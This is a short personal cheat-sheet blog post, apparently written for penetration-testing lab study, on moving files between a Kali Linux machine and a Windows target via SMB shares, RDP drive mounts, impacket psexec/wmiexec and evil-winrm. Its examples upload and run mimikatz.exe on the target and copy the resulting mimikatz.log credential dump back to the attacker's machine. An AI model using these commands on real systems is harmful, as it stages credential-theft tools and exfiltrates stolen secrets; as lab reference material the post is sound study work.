Post

Windows to Linux File Transfers

Transferring files from windows to linux can be annoying. Anyway you do it requires remembering some command line options for whatever tool you’re using, which is why this post is being made as a reference for myself.

Here are the methods:

SMB:

Start server on linux:

1
impacket-smbserver test . -smb2support  -username USERNAME -password PASSWORD

then in Windows:

1
2
3
net use m: \\Kali_IP\sharename /user:USERNAME PASSWORD

copy mimikatz.log m:\

RDP: Mounting Shared Folders

xfreerdp

Linux:

1
xfreerdp /cert-ignore /compression /auto-reconnect /u:USERNAME /p:PASSWORD /v:192.168.212.250 /w:1600 /h:800 /drive:test,/home/kali/Documents/pen-200

Windows:

1
copy mimikatz.log \\tsclient\test\mimikatz.log

rdesktop

Linux:

1
rdesktop -z -P -x m -u USERNAME -p PASSWORD XXX.XXX.XXX.XXX -r disk:test=/home/kali/Documents/

Windows:

1
copy mimikatz.log \\tsclient\test\mimikatz.log

smpacket tools

psexec and wmiexec are shipped with built in feature for file transfer.

Note: By default whether you upload (lput) or download (lget) a file, it’ll be writte in C:\Windows path.

Uploading mimikatz.exe to the target machine:

1
2
3
4
5
6
7
lput mimikatz.exe

cd C:\windows

dir /b mimikatz.exe

mimikatz.exe

Downloading mimikatz.log:

1
lget mimikatz.log

Evil-winrm

Uploading files:

1
upload mimikatz.exe C:\windows\tasks\mimikatz.exe

Downloading files:

1
download mimikatz.log /home/kali/Documents
This post is licensed under CC BY 4.0 by the author.